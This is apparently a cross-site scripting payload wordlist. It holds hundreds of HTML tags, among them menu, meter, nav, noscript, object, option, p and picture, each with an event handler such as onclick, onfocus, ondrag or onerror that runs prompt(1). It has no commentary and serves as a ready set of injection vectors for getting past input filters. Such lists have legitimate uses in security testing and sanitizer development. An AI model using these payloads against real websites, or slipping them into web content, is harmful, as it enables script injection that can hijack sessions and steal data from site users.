<marquee width=1 loop=1 onfinish=prompt(1)>XSS</marquee>
<menu draggable="true" ondrag="prompt(1)">test</menu>
<menu draggable="true" ondragend="prompt(1)">test</menu>
<menu draggable="true" ondragenter="prompt(1)">test</menu>
<menu draggable="true" ondragleave="prompt(1)">test</menu>
<menu draggable="true" ondragstart="prompt(1)">test</menu>
<menu id=x tabindex=1 onactivate=prompt(1)></menu>
<menu id=x tabindex=1 onbeforeactivate=prompt(1)></menu>
<menu id=x tabindex=1 onbeforedeactivate=prompt(1)></menu><input autofocus>
<menu id=x tabindex=1 ondeactivate=prompt(1)></menu><input id=y autofocus>
<menu id=x tabindex=1 onfocus=prompt(1)></menu>
<menu id=x tabindex=1 onfocusin=prompt(1)></menu>
<menu onbeforecopy="prompt(1)" contenteditable>test</menu>
<menu onbeforecut="prompt(1)" contenteditable>test</menu>
<menu onbeforepaste="prompt(1)" contenteditable>test</menu>
<menu onblur=prompt(1) tabindex=1 id=x></menu><input autofocus>
<menu onclick="prompt(1)">test</menu>
<menu oncontextmenu="prompt(1)">test</menu>
<menu oncopy="prompt(1)" contenteditable>test</menu>
<menu oncut="prompt(1)" contenteditable>test</menu>
<menu ondblclick="prompt(1)">test</menu>
<menu onfocusout=prompt(1) tabindex=1 id=x></menu><input autofocus>
<menu onkeydown="prompt(1)" contenteditable>test</menu>
<menu onkeypress="prompt(1)" contenteditable>test</menu>
<menu onkeyup="prompt(1)" contenteditable>test</menu>
<menu onmousedown="prompt(1)">test</menu>
<menu onmouseenter="prompt(1)">test</menu>
<menu onmouseleave="prompt(1)">test</menu>
<menu onmousemove="prompt(1)">test</menu>
<menu onmouseout="prompt(1)">test</menu>
<menu onmouseover="prompt(1)">test</menu>
<menu onmouseup="prompt(1)">test</menu>
<menu onpaste="prompt(1)" contenteditable>test</menu>
<menuitem draggable="true" ondrag="prompt(1)">test</menuitem>
<menuitem draggable="true" ondragend="prompt(1)">test</menuitem>
<menuitem draggable="true" ondragenter="prompt(1)">test</menuitem>
<menuitem draggable="true" ondragleave="prompt(1)">test</menuitem>
<menuitem draggable="true" ondragstart="prompt(1)">test</menuitem>
<menuitem id=x tabindex=1 onactivate=prompt(1)></menuitem>
<menuitem id=x tabindex=1 onbeforeactivate=prompt(1)></menuitem>
<menuitem id=x tabindex=1 onbeforedeactivate=prompt(1)></menuitem><input autofocus>
<menuitem id=x tabindex=1 ondeactivate=prompt(1)></menuitem><input id=y autofocus>
<menuitem id=x tabindex=1 onfocus=prompt(1)></menuitem>
<menuitem id=x tabindex=1 onfocusin=prompt(1)></menuitem>
<menuitem onbeforecopy="prompt(1)" contenteditable>test</menuitem>
<menuitem onbeforecut="prompt(1)" contenteditable>test</menuitem>
<menuitem onbeforepaste="prompt(1)" contenteditable>test</menuitem>
<menuitem onblur=prompt(1) tabindex=1 id=x></menuitem><input autofocus>
<menuitem onclick="prompt(1)">test</menuitem>
<menuitem oncontextmenu="prompt(1)">test</menuitem>
<menuitem oncopy="prompt(1)" contenteditable>test</menuitem>
<menuitem oncut="prompt(1)" contenteditable>test</menuitem>
<menuitem ondblclick="prompt(1)">test</menuitem>
<menuitem onfocusout=prompt(1) tabindex=1 id=x></menuitem><input autofocus>
<menuitem onkeydown="prompt(1)" contenteditable>test</menuitem>
<menuitem onkeypress="prompt(1)" contenteditable>test</menuitem>
<menuitem onkeyup="prompt(1)" contenteditable>test</menuitem>
<menuitem onmousedown="prompt(1)">test</menuitem>
<menuitem onmouseenter="prompt(1)">test</menuitem>
<menuitem onmouseleave="prompt(1)">test</menuitem>
<menuitem onmousemove="prompt(1)">test</menuitem>
<menuitem onmouseout="prompt(1)">test</menuitem>
<menuitem onmouseover="prompt(1)">test</menuitem>
<menuitem onmouseup="prompt(1)">test</menuitem>
<menuitem onpaste="prompt(1)" contenteditable>test</menuitem>
<meter draggable="true" ondrag="prompt(1)">test</meter>
<meter draggable="true" ondragend="prompt(1)">test</meter>
<meter draggable="true" ondragenter="prompt(1)">test</meter>
<meter draggable="true" ondragleave="prompt(1)">test</meter>
<meter draggable="true" ondragstart="prompt(1)">test</meter>
<meter id=x tabindex=1 onactivate=prompt(1)></meter>
<meter id=x tabindex=1 onbeforeactivate=prompt(1)></meter>
<meter id=x tabindex=1 onbeforedeactivate=prompt(1)></meter><input autofocus>
<meter id=x tabindex=1 ondeactivate=prompt(1)></meter><input id=y autofocus>
<meter id=x tabindex=1 onfocus=prompt(1)></meter>
<meter id=x tabindex=1 onfocusin=prompt(1)></meter>
<meter onbeforecopy="prompt(1)" contenteditable>test</meter>
<meter onbeforecut="prompt(1)" contenteditable>test</meter>
<meter onbeforepaste="prompt(1)" contenteditable>test</meter>
<meter onblur=prompt(1) tabindex=1 id=x></meter><input autofocus>
<meter onclick="prompt(1)">test</meter>
<meter oncontextmenu="prompt(1)">test</meter>
<meter oncopy="prompt(1)" contenteditable>test</meter>
<meter oncut="prompt(1)" contenteditable>test</meter>
<meter ondblclick="prompt(1)">test</meter>
<meter onfocusout=prompt(1) tabindex=1 id=x></meter><input autofocus>
<meter onkeydown="prompt(1)" contenteditable>test</meter>
<meter onkeypress="prompt(1)" contenteditable>test</meter>
<meter onkeyup="prompt(1)" contenteditable>test</meter>
<meter onmousedown="prompt(1)">test</meter>
<meter onmouseenter="prompt(1)">test</meter>
<meter onmouseleave="prompt(1)">test</meter>
<meter onmousemove="prompt(1)">test</meter>
<meter onmouseout="prompt(1)">test</meter>
<meter onmouseover="prompt(1)">test</meter>
<meter onmouseup="prompt(1)">test</meter>
<meter onpaste="prompt(1)" contenteditable>test</meter>
<multicol draggable="true" ondrag="prompt(1)">test</multicol>
<multicol draggable="true" ondragend="prompt(1)">test</multicol>
<multicol draggable="true" ondragenter="prompt(1)">test</multicol>
<multicol draggable="true" ondragleave="prompt(1)">test</multicol>
<multicol draggable="true" ondragstart="prompt(1)">test</multicol>
<multicol id=x tabindex=1 onactivate=prompt(1)></multicol>
<multicol id=x tabindex=1 onbeforeactivate=prompt(1)></multicol>
<multicol id=x tabindex=1 onbeforedeactivate=prompt(1)></multicol><input autofocus>
<multicol id=x tabindex=1 ondeactivate=prompt(1)></multicol><input id=y autofocus>
<multicol id=x tabindex=1 onfocus=prompt(1)></multicol>
<multicol id=x tabindex=1 onfocusin=prompt(1)></multicol>
<multicol onbeforecopy="prompt(1)" contenteditable>test</multicol>
<multicol onbeforecut="prompt(1)" contenteditable>test</multicol>
<multicol onbeforepaste="prompt(1)" contenteditable>test</multicol>
<multicol onblur=prompt(1) tabindex=1 id=x></multicol><input autofocus>
<multicol onclick="prompt(1)">test</multicol>
<multicol oncontextmenu="prompt(1)">test</multicol>
<multicol oncopy="prompt(1)" contenteditable>test</multicol>
<multicol oncut="prompt(1)" contenteditable>test</multicol>
<multicol ondblclick="prompt(1)">test</multicol>
<multicol onfocusout=prompt(1) tabindex=1 id=x></multicol><input autofocus>
<multicol onkeydown="prompt(1)" contenteditable>test</multicol>
<multicol onkeypress="prompt(1)" contenteditable>test</multicol>
<multicol onkeyup="prompt(1)" contenteditable>test</multicol>
<multicol onmousedown="prompt(1)">test</multicol>
<multicol onmouseenter="prompt(1)">test</multicol>
<multicol onmouseleave="prompt(1)">test</multicol>
<multicol onmousemove="prompt(1)">test</multicol>
<multicol onmouseout="prompt(1)">test</multicol>
<multicol onmouseover="prompt(1)">test</multicol>
<multicol onmouseup="prompt(1)">test</multicol>
<multicol onpaste="prompt(1)" contenteditable>test</multicol>
<nav draggable="true" ondrag="prompt(1)">test</nav>
<nav draggable="true" ondragend="prompt(1)">test</nav>
<nav draggable="true" ondragenter="prompt(1)">test</nav>
<nav draggable="true" ondragleave="prompt(1)">test</nav>
<nav draggable="true" ondragstart="prompt(1)">test</nav>
<nav id=x tabindex=1 onactivate=prompt(1)></nav>
<nav id=x tabindex=1 onbeforeactivate=prompt(1)></nav>
<nav id=x tabindex=1 onbeforedeactivate=prompt(1)></nav><input autofocus>
<nav id=x tabindex=1 ondeactivate=prompt(1)></nav><input id=y autofocus>
<nav id=x tabindex=1 onfocus=prompt(1)></nav>
<nav id=x tabindex=1 onfocusin=prompt(1)></nav>
<nav onbeforecopy="prompt(1)" contenteditable>test</nav>
<nav onbeforecut="prompt(1)" contenteditable>test</nav>
<nav onbeforepaste="prompt(1)" contenteditable>test</nav>
<nav onblur=prompt(1) tabindex=1 id=x></nav><input autofocus>
<nav onclick="prompt(1)">test</nav>
<nav oncontextmenu="prompt(1)">test</nav>
<nav oncopy="prompt(1)" contenteditable>test</nav>
<nav oncut="prompt(1)" contenteditable>test</nav>
<nav ondblclick="prompt(1)">test</nav>
<nav onfocusout=prompt(1) tabindex=1 id=x></nav><input autofocus>
<nav onkeydown="prompt(1)" contenteditable>test</nav>
<nav onkeypress="prompt(1)" contenteditable>test</nav>
<nav onkeyup="prompt(1)" contenteditable>test</nav>
<nav onmousedown="prompt(1)">test</nav>
<nav onmouseenter="prompt(1)">test</nav>
<nav onmouseleave="prompt(1)">test</nav>
<nav onmousemove="prompt(1)">test</nav>
<nav onmouseout="prompt(1)">test</nav>
<nav onmouseover="prompt(1)">test</nav>
<nav onmouseup="prompt(1)">test</nav>
<nav onpaste="prompt(1)" contenteditable>test</nav>
<nextid draggable="true" ondrag="prompt(1)">test</nextid>
<nextid draggable="true" ondragend="prompt(1)">test</nextid>
<nextid draggable="true" ondragenter="prompt(1)">test</nextid>
<nextid draggable="true" ondragleave="prompt(1)">test</nextid>
<nextid draggable="true" ondragstart="prompt(1)">test</nextid>
<nextid id=x tabindex=1 onactivate=prompt(1)></nextid>
<nextid id=x tabindex=1 onbeforeactivate=prompt(1)></nextid>
<nextid id=x tabindex=1 onbeforedeactivate=prompt(1)></nextid><input autofocus>
<nextid id=x tabindex=1 ondeactivate=prompt(1)></nextid><input id=y autofocus>
<nextid id=x tabindex=1 onfocus=prompt(1)></nextid>
<nextid id=x tabindex=1 onfocusin=prompt(1)></nextid>
<nextid onbeforecopy="prompt(1)" contenteditable>test</nextid>
<nextid onbeforecut="prompt(1)" contenteditable>test</nextid>
<nextid onbeforepaste="prompt(1)" contenteditable>test</nextid>
<nextid onblur=prompt(1) tabindex=1 id=x></nextid><input autofocus>
<nextid onclick="prompt(1)">test</nextid>
<nextid oncontextmenu="prompt(1)">test</nextid>
<nextid oncopy="prompt(1)" contenteditable>test</nextid>
<nextid oncut="prompt(1)" contenteditable>test</nextid>
<nextid ondblclick="prompt(1)">test</nextid>
<nextid onfocusout=prompt(1) tabindex=1 id=x></nextid><input autofocus>
<nextid onkeydown="prompt(1)" contenteditable>test</nextid>
<nextid onkeypress="prompt(1)" contenteditable>test</nextid>
<nextid onkeyup="prompt(1)" contenteditable>test</nextid>
<nextid onmousedown="prompt(1)">test</nextid>
<nextid onmouseenter="prompt(1)">test</nextid>
<nextid onmouseleave="prompt(1)">test</nextid>
<nextid onmousemove="prompt(1)">test</nextid>
<nextid onmouseout="prompt(1)">test</nextid>
<nextid onmouseover="prompt(1)">test</nextid>
<nextid onmouseup="prompt(1)">test</nextid>
<nextid onpaste="prompt(1)" contenteditable>test</nextid>
<noembed draggable="true" ondrag="prompt(1)">test</noembed>
<noembed draggable="true" ondragend="prompt(1)">test</noembed>
<noembed draggable="true" ondragenter="prompt(1)">test</noembed>
<noembed draggable="true" ondragleave="prompt(1)">test</noembed>
<noembed draggable="true" ondragstart="prompt(1)">test</noembed>
<noembed id=x tabindex=1 onactivate=prompt(1)></noembed>
<noembed id=x tabindex=1 onbeforeactivate=prompt(1)></noembed>
<noembed id=x tabindex=1 onbeforedeactivate=prompt(1)></noembed><input autofocus>
<noembed id=x tabindex=1 ondeactivate=prompt(1)></noembed><input id=y autofocus>
<noembed id=x tabindex=1 onfocus=prompt(1)></noembed>
<noembed id=x tabindex=1 onfocusin=prompt(1)></noembed>
<noembed onbeforecopy="prompt(1)" contenteditable>test</noembed>
<noembed onbeforecut="prompt(1)" contenteditable>test</noembed>
<noembed onbeforepaste="prompt(1)" contenteditable>test</noembed>
<noembed onblur=prompt(1) tabindex=1 id=x></noembed><input autofocus>
<noembed onclick="prompt(1)">test</noembed>
<noembed oncontextmenu="prompt(1)">test</noembed>
<noembed oncopy="prompt(1)" contenteditable>test</noembed>
<noembed oncut="prompt(1)" contenteditable>test</noembed>
<noembed ondblclick="prompt(1)">test</noembed>
<noembed onfocusout=prompt(1) tabindex=1 id=x></noembed><input autofocus>
<noembed onkeydown="prompt(1)" contenteditable>test</noembed>
<noembed onkeypress="prompt(1)" contenteditable>test</noembed>
<noembed onkeyup="prompt(1)" contenteditable>test</noembed>
<noembed onmousedown="prompt(1)">test</noembed>
<noembed onmouseenter="prompt(1)">test</noembed>
<noembed onmouseleave="prompt(1)">test</noembed>
<noembed onmousemove="prompt(1)">test</noembed>
<noembed onmouseout="prompt(1)">test</noembed>
<noembed onmouseover="prompt(1)">test</noembed>
<noembed onmouseup="prompt(1)">test</noembed>
<noembed onpaste="prompt(1)" contenteditable>test</noembed>
<noframes draggable="true" ondrag="prompt(1)">test</noframes>
<noframes draggable="true" ondragend="prompt(1)">test</noframes>
<noframes draggable="true" ondragenter="prompt(1)">test</noframes>
<noframes draggable="true" ondragleave="prompt(1)">test</noframes>
<noframes draggable="true" ondragstart="prompt(1)">test</noframes>
<noframes id=x tabindex=1 onactivate=prompt(1)></noframes>
<noframes id=x tabindex=1 onbeforeactivate=prompt(1)></noframes>
<noframes id=x tabindex=1 onbeforedeactivate=prompt(1)></noframes><input autofocus>
<noframes id=x tabindex=1 ondeactivate=prompt(1)></noframes><input id=y autofocus>
<noframes id=x tabindex=1 onfocus=prompt(1)></noframes>
<noframes id=x tabindex=1 onfocusin=prompt(1)></noframes>
<noframes onbeforecopy="prompt(1)" contenteditable>test</noframes>
<noframes onbeforecut="prompt(1)" contenteditable>test</noframes>
<noframes onbeforepaste="prompt(1)" contenteditable>test</noframes>
<noframes onblur=prompt(1) tabindex=1 id=x></noframes><input autofocus>
<noframes onclick="prompt(1)">test</noframes>
<noframes oncontextmenu="prompt(1)">test</noframes>
<noframes oncopy="prompt(1)" contenteditable>test</noframes>
<noframes oncut="prompt(1)" contenteditable>test</noframes>
<noframes ondblclick="prompt(1)">test</noframes>
<noframes onfocusout=prompt(1) tabindex=1 id=x></noframes><input autofocus>
<noframes onkeydown="prompt(1)" contenteditable>test</noframes>
<noframes onkeypress="prompt(1)" contenteditable>test</noframes>
<noframes onkeyup="prompt(1)" contenteditable>test</noframes>
<noframes onmousedown="prompt(1)">test</noframes>
<noframes onmouseenter="prompt(1)">test</noframes>
<noframes onmouseleave="prompt(1)">test</noframes>
<noframes onmousemove="prompt(1)">test</noframes>
<noframes onmouseout="prompt(1)">test</noframes>
<noframes onmouseover="prompt(1)">test</noframes>
<noframes onmouseup="prompt(1)">test</noframes>
<noframes onpaste="prompt(1)" contenteditable>test</noframes>
<noscript draggable="true" ondrag="prompt(1)">test</noscript>
<noscript draggable="true" ondragend="prompt(1)">test</noscript>
<noscript draggable="true" ondragenter="prompt(1)">test</noscript>
<noscript draggable="true" ondragleave="prompt(1)">test</noscript>
<noscript draggable="true" ondragstart="prompt(1)">test</noscript>
<noscript id=x tabindex=1 onactivate=prompt(1)></noscript>
<noscript id=x tabindex=1 onbeforeactivate=prompt(1)></noscript>
<noscript id=x tabindex=1 onbeforedeactivate=prompt(1)></noscript><input autofocus>
<noscript id=x tabindex=1 ondeactivate=prompt(1)></noscript><input id=y autofocus>
<noscript id=x tabindex=1 onfocus=prompt(1)></noscript>
<noscript id=x tabindex=1 onfocusin=prompt(1)></noscript>
<noscript onbeforecopy="prompt(1)" contenteditable>test</noscript>
<noscript onbeforecut="prompt(1)" contenteditable>test</noscript>
<noscript onbeforepaste="prompt(1)" contenteditable>test</noscript>
<noscript onblur=prompt(1) tabindex=1 id=x></noscript><input autofocus>
<noscript onclick="prompt(1)">test</noscript>
<noscript oncontextmenu="prompt(1)">test</noscript>
<noscript oncopy="prompt(1)" contenteditable>test</noscript>
<noscript oncut="prompt(1)" contenteditable>test</noscript>
<noscript ondblclick="prompt(1)">test</noscript>
<noscript onfocusout=prompt(1) tabindex=1 id=x></noscript><input autofocus>
<noscript onkeydown="prompt(1)" contenteditable>test</noscript>
<noscript onkeypress="prompt(1)" contenteditable>test</noscript>
<noscript onkeyup="prompt(1)" contenteditable>test</noscript>
<noscript onmousedown="prompt(1)">test</noscript>
<noscript onmouseenter="prompt(1)">test</noscript>
<noscript onmouseleave="prompt(1)">test</noscript>
<noscript onmousemove="prompt(1)">test</noscript>
<noscript onmouseout="prompt(1)">test</noscript>
<noscript onmouseover="prompt(1)">test</noscript>
<noscript onmouseup="prompt(1)">test</noscript>
<noscript onpaste="prompt(1)" contenteditable>test</noscript>
<object data=/ onload=prompt(1)>
<object data=/ onreadystatechange=prompt(1)>
<object draggable="true" ondrag="prompt(1)">test</object>
<object draggable="true" ondragend="prompt(1)">test</object>
<object draggable="true" ondragenter="prompt(1)">test</object>
<object draggable="true" ondragleave="prompt(1)">test</object>
<object draggable="true" ondragstart="prompt(1)">test</object>
<object id=x onfocus=prompt(1) type=text/html>
<object id=x onfocusin=prompt(1) type=text/html>
<object id=x tabindex=1 onactivate=prompt(1)></object>
<object id=x tabindex=1 onbeforeactivate=prompt(1)></object>
<object id=x tabindex=1 onbeforedeactivate=prompt(1)></object><input autofocus>
<object id=x tabindex=1 ondeactivate=prompt(1)></object><input id=y autofocus>
<object onbeforecopy="prompt(1)" contenteditable>test</object>
<object onbeforecut="prompt(1)" contenteditable>test</object>
<object onbeforepaste="prompt(1)" contenteditable>test</object>
<object onblur=prompt(1) tabindex=1 id=x></object><input autofocus>
<object onclick="prompt(1)">test</object>
<object oncontextmenu="prompt(1)">test</object>
<object oncopy="prompt(1)" contenteditable>test</object>
<object oncut="prompt(1)" contenteditable>test</object>
<object ondblclick="prompt(1)">test</object>
<object onerror=prompt(1) data=1 type=image/gif>
<object onfocusout=prompt(1) tabindex=1 id=x></object><input autofocus>
<object onkeydown="prompt(1)" contenteditable>test</object>
<object onkeypress="prompt(1)" contenteditable>test</object>
<object onkeyup="prompt(1)" contenteditable>test</object>
<object onmousedown="prompt(1)">test</object>
<object onmouseenter="prompt(1)">test</object>
<object onmouseleave="prompt(1)">test</object>
<object onmousemove="prompt(1)">test</object>
<object onmouseout="prompt(1)">test</object>
<object onmouseover="prompt(1)">test</object>
<object onmouseup="prompt(1)">test</object>
<object onpaste="prompt(1)" contenteditable>test</object>
<ol draggable="true" ondrag="prompt(1)">test</ol>
<ol draggable="true" ondragend="prompt(1)">test</ol>
<ol draggable="true" ondragenter="prompt(1)">test</ol>
<ol draggable="true" ondragleave="prompt(1)">test</ol>
<ol draggable="true" ondragstart="prompt(1)">test</ol>
<ol id=x tabindex=1 onactivate=prompt(1)></ol>
<ol id=x tabindex=1 onbeforeactivate=prompt(1)></ol>
<ol id=x tabindex=1 onbeforedeactivate=prompt(1)></ol><input autofocus>
<ol id=x tabindex=1 ondeactivate=prompt(1)></ol><input id=y autofocus>
<ol id=x tabindex=1 onfocus=prompt(1)></ol>
<ol id=x tabindex=1 onfocusin=prompt(1)></ol>
<ol onbeforecopy="prompt(1)" contenteditable>test</ol>
<ol onbeforecut="prompt(1)" contenteditable>test</ol>
<ol onbeforepaste="prompt(1)" contenteditable>test</ol>
<ol onblur=prompt(1) tabindex=1 id=x></ol><input autofocus>
<ol onclick="prompt(1)">test</ol>
<ol oncontextmenu="prompt(1)">test</ol>
<ol oncopy="prompt(1)" contenteditable>test</ol>
<ol oncut="prompt(1)" contenteditable>test</ol>
<ol ondblclick="prompt(1)">test</ol>
<ol onfocusout=prompt(1) tabindex=1 id=x></ol><input autofocus>
<ol onkeydown="prompt(1)" contenteditable>test</ol>
<ol onkeypress="prompt(1)" contenteditable>test</ol>
<ol onkeyup="prompt(1)" contenteditable>test</ol>
<ol onmousedown="prompt(1)">test</ol>
<ol onmouseenter="prompt(1)">test</ol>
<ol onmouseleave="prompt(1)">test</ol>
<ol onmousemove="prompt(1)">test</ol>
<ol onmouseout="prompt(1)">test</ol>
<ol onmouseover="prompt(1)">test</ol>
<ol onmouseup="prompt(1)">test</ol>
<ol onpaste="prompt(1)" contenteditable>test</ol>
<optgroup draggable="true" ondrag="prompt(1)">test</optgroup>
<optgroup draggable="true" ondragend="prompt(1)">test</optgroup>
<optgroup draggable="true" ondragenter="prompt(1)">test</optgroup>
<optgroup draggable="true" ondragleave="prompt(1)">test</optgroup>
<optgroup draggable="true" ondragstart="prompt(1)">test</optgroup>
<optgroup id=x tabindex=1 onactivate=prompt(1)></optgroup>
<optgroup id=x tabindex=1 onbeforeactivate=prompt(1)></optgroup>
<optgroup id=x tabindex=1 onbeforedeactivate=prompt(1)></optgroup><input autofocus>
<optgroup id=x tabindex=1 ondeactivate=prompt(1)></optgroup><input id=y autofocus>
<optgroup id=x tabindex=1 onfocus=prompt(1)></optgroup>
<optgroup id=x tabindex=1 onfocusin=prompt(1)></optgroup>
<optgroup onbeforecopy="prompt(1)" contenteditable>test</optgroup>
<optgroup onbeforecut="prompt(1)" contenteditable>test</optgroup>
<optgroup onbeforepaste="prompt(1)" contenteditable>test</optgroup>
<optgroup onblur=prompt(1) tabindex=1 id=x></optgroup><input autofocus>
<optgroup onclick="prompt(1)">test</optgroup>
<optgroup oncontextmenu="prompt(1)">test</optgroup>
<optgroup oncopy="prompt(1)" contenteditable>test</optgroup>
<optgroup oncut="prompt(1)" contenteditable>test</optgroup>
<optgroup ondblclick="prompt(1)">test</optgroup>
<optgroup onfocusout=prompt(1) tabindex=1 id=x></optgroup><input autofocus>
<optgroup onkeydown="prompt(1)" contenteditable>test</optgroup>
<optgroup onkeypress="prompt(1)" contenteditable>test</optgroup>
<optgroup onkeyup="prompt(1)" contenteditable>test</optgroup>
<optgroup onmousedown="prompt(1)">test</optgroup>
<optgroup onmouseenter="prompt(1)">test</optgroup>
<optgroup onmouseleave="prompt(1)">test</optgroup>
<optgroup onmousemove="prompt(1)">test</optgroup>
<optgroup onmouseout="prompt(1)">test</optgroup>
<optgroup onmouseover="prompt(1)">test</optgroup>
<optgroup onmouseup="prompt(1)">test</optgroup>
<optgroup onpaste="prompt(1)" contenteditable>test</optgroup>
<option draggable="true" ondrag="prompt(1)">test</option>
<option draggable="true" ondragend="prompt(1)">test</option>
<option draggable="true" ondragenter="prompt(1)">test</option>
<option draggable="true" ondragleave="prompt(1)">test</option>
<option draggable="true" ondragstart="prompt(1)">test</option>
<option id=x tabindex=1 onactivate=prompt(1)></option>
<option id=x tabindex=1 onbeforeactivate=prompt(1)></option>
<option id=x tabindex=1 onbeforedeactivate=prompt(1)></option><input autofocus>
<option id=x tabindex=1 ondeactivate=prompt(1)></option><input id=y autofocus>
<option id=x tabindex=1 onfocus=prompt(1)></option>
<option id=x tabindex=1 onfocusin=prompt(1)></option>
<option onbeforecopy="prompt(1)" contenteditable>test</option>
<option onbeforecut="prompt(1)" contenteditable>test</option>
<option onbeforepaste="prompt(1)" contenteditable>test</option>
<option onblur=prompt(1) tabindex=1 id=x></option><input autofocus>
<option onclick="prompt(1)">test</option>
<option oncontextmenu="prompt(1)">test</option>
<option oncopy="prompt(1)" contenteditable>test</option>
<option oncut="prompt(1)" contenteditable>test</option>
<option ondblclick="prompt(1)">test</option>
<option onfocusout=prompt(1) tabindex=1 id=x></option><input autofocus>
<option onkeydown="prompt(1)" contenteditable>test</option>
<option onkeypress="prompt(1)" contenteditable>test</option>
<option onkeyup="prompt(1)" contenteditable>test</option>
<option onmousedown="prompt(1)">test</option>
<option onmouseenter="prompt(1)">test</option>
<option onmouseleave="prompt(1)">test</option>
<option onmousemove="prompt(1)">test</option>
<option onmouseout="prompt(1)">test</option>
<option onmouseover="prompt(1)">test</option>
<option onmouseup="prompt(1)">test</option>
<option onpaste="prompt(1)" contenteditable>test</option>
<output draggable="true" ondrag="prompt(1)">test</output>
<output draggable="true" ondragend="prompt(1)">test</output>
<output draggable="true" ondragenter="prompt(1)">test</output>
<output draggable="true" ondragleave="prompt(1)">test</output>
<output draggable="true" ondragstart="prompt(1)">test</output>
<output id=x tabindex=1 onactivate=prompt(1)></output>
<output id=x tabindex=1 onbeforeactivate=prompt(1)></output>
<output id=x tabindex=1 onbeforedeactivate=prompt(1)></output><input autofocus>
<output id=x tabindex=1 ondeactivate=prompt(1)></output><input id=y autofocus>
<output id=x tabindex=1 onfocus=prompt(1)></output>
<output id=x tabindex=1 onfocusin=prompt(1)></output>
<output onbeforecopy="prompt(1)" contenteditable>test</output>
<output onbeforecut="prompt(1)" contenteditable>test</output>
<output onbeforepaste="prompt(1)" contenteditable>test</output>
<output onblur=prompt(1) tabindex=1 id=x></output><input autofocus>
<output onclick="prompt(1)">test</output>
<output oncontextmenu="prompt(1)">test</output>
<output oncopy="prompt(1)" contenteditable>test</output>
<output oncut="prompt(1)" contenteditable>test</output>
<output ondblclick="prompt(1)">test</output>
<output onfocusout=prompt(1) tabindex=1 id=x></output><input autofocus>
<output onkeydown="prompt(1)" contenteditable>test</output>
<output onkeypress="prompt(1)" contenteditable>test</output>
<output onkeyup="prompt(1)" contenteditable>test</output>
<output onmousedown="prompt(1)">test</output>
<output onmouseenter="prompt(1)">test</output>
<output onmouseleave="prompt(1)">test</output>
<output onmousemove="prompt(1)">test</output>
<output onmouseout="prompt(1)">test</output>
<output onmouseover="prompt(1)">test</output>
<output onmouseup="prompt(1)">test</output>
<output onpaste="prompt(1)" contenteditable>test</output>
<p draggable="true" ondrag="prompt(1)">test</p>
<p draggable="true" ondragend="prompt(1)">test</p>
<p draggable="true" ondragenter="prompt(1)">test</p>
<p draggable="true" ondragleave="prompt(1)">test</p>
<p draggable="true" ondragstart="prompt(1)">test</p>
<p id=x tabindex=1 onactivate=prompt(1)></p>
<p id=x tabindex=1 onbeforeactivate=prompt(1)></p>
<p id=x tabindex=1 onbeforedeactivate=prompt(1)></p><input autofocus>
<p id=x tabindex=1 ondeactivate=prompt(1)></p><input id=y autofocus>
<p id=x tabindex=1 onfocus=prompt(1)></p>
<p id=x tabindex=1 onfocusin=prompt(1)></p>
<p onbeforecopy="prompt(1)" contenteditable>test</p>
<p onbeforecut="prompt(1)" contenteditable>test</p>
<p onbeforepaste="prompt(1)" contenteditable>test</p>
<p onblur=prompt(1) tabindex=1 id=x></p><input autofocus>
<p onclick="prompt(1)">test</p>
<p oncontextmenu="prompt(1)">test</p>
<p oncopy="prompt(1)" contenteditable>test</p>
<p oncut="prompt(1)" contenteditable>test</p>
<p ondblclick="prompt(1)">test</p>
<p onfocusout=prompt(1) tabindex=1 id=x></p><input autofocus>
<p onkeydown="prompt(1)" contenteditable>test</p>
<p onkeypress="prompt(1)" contenteditable>test</p>
<p onkeyup="prompt(1)" contenteditable>test</p>
<p onmousedown="prompt(1)">test</p>
<p onmouseenter="prompt(1)">test</p>
<p onmouseleave="prompt(1)">test</p>
<p onmousemove="prompt(1)">test</p>
<p onmouseout="prompt(1)">test</p>
<p onmouseover="prompt(1)">test</p>
<p onmouseup="prompt(1)">test</p>
<p onpaste="prompt(1)" contenteditable>test</p>
<param draggable="true" ondrag="prompt(1)">test</param>
<param draggable="true" ondragend="prompt(1)">test</param>
<param draggable="true" ondragenter="prompt(1)">test</param>
<param draggable="true" ondragleave="prompt(1)">test</param>
<param draggable="true" ondragstart="prompt(1)">test</param>
<param id=x tabindex=1 onactivate=prompt(1)></param>
<param id=x tabindex=1 onbeforeactivate=prompt(1)></param>
<param id=x tabindex=1 onbeforedeactivate=prompt(1)></param><input autofocus>
<param id=x tabindex=1 ondeactivate=prompt(1)></param><input id=y autofocus>
<param id=x tabindex=1 onfocus=prompt(1)></param>
<param id=x tabindex=1 onfocusin=prompt(1)></param>
<param onbeforecopy="prompt(1)" contenteditable>test</param>
<param onbeforecut="prompt(1)" contenteditable>test</param>
<param onbeforepaste="prompt(1)" contenteditable>test</param>
<param onblur=prompt(1) tabindex=1 id=x></param><input autofocus>
<param onclick="prompt(1)">test</param>
<param oncontextmenu="prompt(1)">test</param>
<param oncopy="prompt(1)" contenteditable>test</param>
<param oncut="prompt(1)" contenteditable>test</param>
<param ondblclick="prompt(1)">test</param>
<param onfocusout=prompt(1) tabindex=1 id=x></param><input autofocus>
<param onkeydown="prompt(1)" contenteditable>test</param>
<param onkeypress="prompt(1)" contenteditable>test</param>
<param onkeyup="prompt(1)" contenteditable>test</param>
<param onmousedown="prompt(1)">test</param>
<param onmouseenter="prompt(1)">test</param>
<param onmouseleave="prompt(1)">test</param>
<param onmousemove="prompt(1)">test</param>
<param onmouseout="prompt(1)">test</param>
<param onmouseover="prompt(1)">test</param>
<param onmouseup="prompt(1)">test</param>
<param onpaste="prompt(1)" contenteditable>test</param>
<picture draggable="true" ondrag="prompt(1)">test</picture>
<picture draggable="true" ondragend="prompt(1)">test</picture>
<picture draggable="true" ondragenter="prompt(1)">test</picture>
<picture draggable="true" ondragleave="prompt(1)">test</picture>
<picture draggable="true" ondragstart="prompt(1)">test</picture>
<picture id=x tabindex=1 onactivate=prompt(1)></picture>
<picture id=x tabindex=1 onbeforeactivate=prompt(1)></picture>
<picture id=x tabindex=1 onbeforedeactivate=prompt(1)></picture><input autofocus>
<picture id=x tabindex=1 ondeactivate=prompt(1)></picture><input id=y autofocus>
<picture id=x tabindex=1 onfocus=prompt(1)></picture>
<picture id=x tabindex=1 onfocusin=prompt(1)></picture>
<picture onbeforecopy="prompt(1)" contenteditable>test</picture>
<picture onbeforecut="prompt(1)" contenteditable>test</picture>
<picture onbeforepaste="prompt(1)" contenteditable>test</picture>
<picture onblur=prompt(1) tabindex=1 id=x></picture><input autofocus>
<picture onclick="prompt(1)">test</picture>
<picture oncontextmenu="prompt(1)">test</picture>
